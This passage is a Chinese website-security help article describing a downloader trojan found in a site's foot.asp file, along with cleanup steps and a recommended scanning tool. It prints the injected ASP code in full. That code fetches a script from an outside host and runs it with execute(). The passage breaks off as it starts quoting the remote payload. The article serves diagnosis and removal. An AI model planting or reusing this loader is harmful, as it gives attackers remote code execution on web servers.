| 解决办法：
１、用青云团队开发的网站木马清理专家全面扫描服务器上的网站，网站木马清理专家下载地址： https://www.jb51.net/softs/12771.html ２、如果这时木马还是存在，用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码，如下图所示： 
３、关闭服务器上的缩略图功能 方法参考 https://www.jb51.net/os/windows/Win2003/34960.html 根源： 这次用户中的是下载者类的木马，黑客通过网站上传漏洞上在网站根目录的foot.asp下插入了以下代码： 复制代码 代码如下: <% 'by*aming Function Gethtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send Gethtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write Gethtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" Gethtml = objStream.ReadText objStream.Close set objStream=Nothing End Function execute(Gethtml("http://www.pornhome.com/dy7749/xmlasaquan.txt")) %> 清掉这段代码即可解决问题，网站木马清理专家查杀结果如下图所示！ 
xmlasaquan.txt的内容如下： 复制代码 代码如下: '<html><head><script>function
